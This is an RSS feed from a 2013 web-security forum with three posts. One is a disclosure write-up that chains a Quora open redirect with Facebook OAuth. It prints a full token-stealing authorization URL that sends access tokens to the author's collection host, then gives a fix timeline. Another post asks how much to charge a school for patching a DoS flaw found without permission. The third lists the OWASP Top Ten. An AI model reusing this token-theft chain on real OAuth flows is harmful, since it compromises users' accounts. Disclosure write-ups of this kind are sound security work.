<?xml version="1.0" encoding="ISO-8859-1"?>

<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/">
	<channel>
		<title>Garage4hackers Forum - Web Application Penetration Testing</title>
		<link>http://www.garage4hackers.com/</link>
		<description>Discuss Topics Related to Web Application Vulnerabilities Like Browser Security, SQL Injection, XSS, RFI, LFI, CSRF and Other OWASP Top 10.</description>
		<language>en</language>
		<lastBuildDate>Wed, 19 Jun 2013 17:37:24 GMT</lastBuildDate>
		<generator>vBulletin</generator>
		<ttl>60</ttl>
		<image>
			<url>http://www.garage4hackers.com/images/misc/rss.png</url>
			<title>Garage4hackers Forum - Web Application Penetration Testing</title>
			<link>http://www.garage4hackers.com/</link>
		</image>
		<item>
			<title>Found DoS vulnerability in one of the educational institution . What to do next ?</title>
			<link>http://www.garage4hackers.com/f11/found-dos-vulnerability-one-educational-institution-what-do-next-5043.html</link>
			<pubDate>Mon, 17 Jun 2013 09:14:38 GMT</pubDate>
			<description>This is my first exploit.  
 
I found the known severe DOS vulnerability in one of the educational website. What to do next? 
How much I can charge...</description>
			<content:encoded><![CDATA[<div><div style="direction:ltr;overflow:false;height:24px;float:left;">
<script type="text/javascript" src="http://apis.google.com/js/plusone.js"></script><g:plusone size="small" count="false"></g:plusone>
 <!--Twitter button starts--><a href="http://twitter.com/share" class="twitter-share-button" data-count="none" data-via="garage4hackers" data-url="http://www.garage4hackers.com/external.php?t=5043&amp;postcount=">Tweet</a><script type="text/javascript" src="http://platform.twitter.com/widgets.js"></script><!--Twitter button ends-->
 <!--Facebook button starts--><iframe src="http://www.facebook.com/widgets/like.php?href=http://www.garage4hackers.com/external.php?t=5043&amp;postcount=&amp;layout=button_count&amp;show_faces=false" scrolling="no" frameborder="0" style="border:none; width:47px; height:22px;overflow: hidden;"></iframe><!--Facebook button ends-->
</div><br><br>This is my first exploit. <br />
<br />
I found the known severe DOS vulnerability in one of the educational website. What to do next?<br />
How much I can charge for patch (patch:requires little modification in firewall rules)</div>

]]></content:encoded>
			<category domain="http://www.garage4hackers.com/f11/">Web Application Penetration Testing</category>
			<dc:creator>msankith</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/f11/found-dos-vulnerability-one-educational-institution-what-do-next-5043.html</guid>
		</item>
		<item>
			<title>Pwning Facebook accounts, taking a little help from Quora</title>
			<link>http://www.garage4hackers.com/f11/pwning-facebook-accounts-taking-little-help-quora-5033.html</link>
			<pubDate>Thu, 13 Jun 2013 22:29:57 GMT</pubDate>
			<description>I want to share the details of a redirection flaw (http://cwe.mitre.org/data/definitions/601.html), which I found on Quora (http://www.quora.com/),...</description>
			<content:encoded><![CDATA[<div>I want to share the details of a <a href="http://cwe.mitre.org/data/definitions/601.html" target="_blank">redirection flaw</a>, which I found on <a href="http://www.quora.com/" target="_blank">Quora</a>, an extremely popular Q/A website, possessing Alexa rank of around 800 worldwide and how someone can exploit the issue to hack Facebook accounts.<br />
<br />
<br />
So, let's come to the topic. While doing sign-up for Quora website, I preferred using Facebook Connect which gives &quot;limited&quot; access to my account to Quora, so that website can fetch necessary details from my Facebook account for registration. I noticed <a href="http://www.quora.com" target="_blank">www.quora.com</a> domain was permitted to receive the access_token from Facebook OAuth, any other domain other than <a href="http://www.quora.com" target="_blank">www.quora.com</a> would result in a failure of that request. See below<br />
<br />
<div style="text-align: center;"><a href="http://www.garage4hackers.com/attachments/f11/597-pwning-facebook-accounts-taking-little-help-quora-origin.jpg"  title="Name:  
Views: 
Size:  ">Attachment 597</a></div><br />
<br />
Cool, I needed to find an open redirection inside the <a href="http://www.quora.com" target="_blank">www.quora.com</a> to steal the <b>access_token</b> of <b>any Quora user who signed-up using Facebook and has App enabled.</b><br />
<br />
Luckily I found a redirection issue in the contacts import page itself. The redirector was like:<br />
<br />
<b>https://www.quora.com/contacts/skip?goto=http://www.google.com</b><br />
<br />
<br />
So this link would redirect to <a href="http://www.google.com" target="_blank">http://www.google.com</a>, accordingly I can redirect users to any domain of my choice.<br />
<br />
Now I made a script that would save the token from URL into a file and redirect [unsuspecting] user to Facebook homepage. It was located at <b><a href="http://poc.prakharprasad.com/quora" target="_blank">http://poc.prakharprasad.com/quora</a></b> <br />
<br />
<br />
To make it a working exploit I needed these:<br />
<br />
1. A Facebook OAuth authorization URL requests token permission from the user, but as user will have Quora App installed, it will redirect to value specified in next parameter of OAuth authorization URL with a valid access_token.<br />
<br />
2. As discussed we know next can be any page/resource under <a href="http://www.quora.com" target="_blank">www.quora.com</a>. So next parameter must be set to https://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora ,when redirection happens the token is first sent to (allowed domain) www.quora.com then another redirection [open redirection] moves the token to <a href="http://poc.prakharprasad.com/quora" target="_blank">http://poc.prakharprasad.com/quora</a> where my script will do its job.<br />
<br />
Final OAuth authorization URL that would steal the access_token looks like<br />
<br />
<div style="text-align: center;"><b>https://www.facebook.com/dialog/permissions.request?app_id=136609459636&amp;next=https  ://www.quora.com/contacts/skip?goto=http://poc.prakharprasad.com/quora&amp;response_type=token</b></div><br />
Once the vicitm who has Quora App installed (or in other words, signed-up via Facebook) visits the above link, his token would get stored and he'll be redirected back to Facebook, as if nothing has happened.<br />
<br />
Using the stolen <b>access_token</b> I can, for example publish a status on victim's profile.<br />
<br />
<br />
<br />
<div style="text-align: center;"><a href="http://www.garage4hackers.com/attachments/f11/595-pwning-facebook-accounts-taking-little-help-quora-publish.jpg"  title="Name:  
Views: 
Size:  ">Attachment 595</a></div><br />
Quora App has 500,000+ monthly users on Facebook.So, all of them were at risk!<br />
<br />
<br />
<div style="text-align: center;"><a href="http://www.garage4hackers.com/attachments/f11/596-pwning-facebook-accounts-taking-little-help-quora-quora_app.jpg"  title="Name:  
Views: 
Size:  ">Attachment 596</a></div><br />
<br />
<br />
<br />
<b>Here's the video demo</b> :<br />
<br />
<div style="text-align: center;">
<iframe class="restrain" title="YouTube video player" width="640" height="390" src="//www.youtube.com/embed/Brv4_wUmyVE" frameborder="0"></iframe>
</div><br />
<br />
<br />
<b>Timeline:</b><br />
<br />
8th June 2013 - Vulnerability Found<br />
9th June 2013 - Vulnerability Reported<br />
13th June 2013 - No Reply from Quora<br />
13th June 2013 - Another notification sent to Quora staff member, got a reply acknowledging the issue<br />
14th June 2013- Fix issued on Quora, public disclosure</div>


	<div style="padding:10px">

	

	
		<fieldset class="fieldset">
			<legend>Attached Images</legend>
			<div style="padding:10pxpx">
			<img class="attach" src="http://www.garage4hackers.com/attachments/f11/595d1371162080-pwning-facebook-accounts-taking-little-help-quora-publish.jpg" alt="" />&nbsp;<img class="attach" src="http://www.garage4hackers.com/attachments/f11/596d1371162136-pwning-facebook-accounts-taking-little-help-quora-quora_app.jpg" alt="" />&nbsp;<img class="attach" src="http://www.garage4hackers.com/attachments/f11/597d1371162467-pwning-facebook-accounts-taking-little-help-quora-origin.jpg" alt="" />&nbsp;
			</div>
		</fieldset>
	

	

	

	</div>
]]></content:encoded>
			<category domain="http://www.garage4hackers.com/f11/">Web Application Penetration Testing</category>
			<dc:creator>prakhar</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/f11/pwning-facebook-accounts-taking-little-help-quora-5033.html</guid>
		</item>
		<item>
			<title>OWASP Top Ten 2013</title>
			<link>http://www.garage4hackers.com/f11/owasp-top-ten-2013-a-5008.html</link>
			<pubDate>Thu, 13 Jun 2013 05:46:46 GMT</pubDate>
			<description>OWASP Top Ten for 2013 has been released. Here is the Top Ten list: 
 
 A1 Injection 
 
 A2 Broken Authentication and Session Management 
 
 A3...</description>
			<content:encoded><![CDATA[<div>OWASP Top Ten for 2013 has been released. Here is the Top Ten list:<br />
<br />
 A1 Injection<br />
<br />
 A2 Broken Authentication and Session Management<br />
<br />
 A3 Cross-Site Scripting (XSS)<br />
<br />
 A4 Insecure Direct Object References<br />
<br />
 A5 Security Misconfiguration<br />
<br />
 A6 Sensitive Data Exposure<br />
<br />
 A7 Missing Function Level Access Control<br />
<br />
 A8 Cross-Site Request Forgery (CSRF)<br />
<br />
 A9 Using Known Vulnerable Components<br />
<br />
 A10 Unvalidated Redirects and Forwards <br />
<br />
Link: <a href="https://www.owasp.org/index.php/Top10" target="_blank">https://www.owasp.org/index.php/Top10</a><br />
<br />
Document: <a href="http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf" target="_blank">http://owasptop10.googlecode.com/fil...20-%202013.pdf</a></div>

]]></content:encoded>
			<category domain="http://www.garage4hackers.com/f11/">Web Application Penetration Testing</category>
			<dc:creator>prashant_uniyal</dc:creator>
			<guid isPermaLink="true">http://www.garage4hackers.com/f11/owasp-top-ten-2013-a-5008.html</guid>
		</item>
	</channel>
</rss>
